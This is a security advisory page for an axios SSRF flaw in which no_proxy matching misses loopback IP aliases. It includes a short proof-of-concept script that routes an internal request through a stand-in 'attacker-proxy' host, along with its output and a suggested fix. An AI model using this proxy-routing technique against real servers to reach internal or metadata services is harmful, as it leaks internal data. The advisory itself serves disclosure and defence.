GHSA-m7pr-hjqh-92cm

Suggest an improvement
Source
https://github.com/advisories/GHSA-m7pr-hjqh-92cm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m7pr-hjqh-92cm/GHSA-m7pr-hjqh-92cm.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-m7pr-hjqh-92cm
Aliases
Downstream
Related
Published
2026-05-05T00:40:17Z
Modified
2026-05-06T15:29:06.875684265Z
Severity
  • 6.8 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
Axios: no_proxy bypass via IP alias allows SSRF
Details

The fix for noproxy hostname normalization bypass (#10661) is incomplete.When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - noproxy=localhost does NOT block 127.0.0.1 or [::1] - noproxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.noproxy = 'localhost'; process.env.httpproxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';

console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
  await axios.get('http://localhost:7777/');
} catch(e) {
  console.log('Error:', e.message);
}

console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
  await axios.get('http://127.0.0.1:7777/');
} catch(e) {
  console.log('Error:', e.message);
}

fakeProxy.close();
internalServer.close();

}); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ```

<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />

Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Database specific
{
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "github_reviewed": true,
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-918"
    ],
    "github_reviewed_at": "2026-05-05T00:40:17Z"
}
References

Affected packages

npm / axios

Package

Affected ranges

Type
SEMVER
Events
Introduced
1.0.0
Fixed
1.15.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m7pr-hjqh-92cm/GHSA-m7pr-hjqh-92cm.json"

npm / axios

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.31.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m7pr-hjqh-92cm/GHSA-m7pr-hjqh-92cm.json"
last_known_affected_version_range
"<= 0.31.0"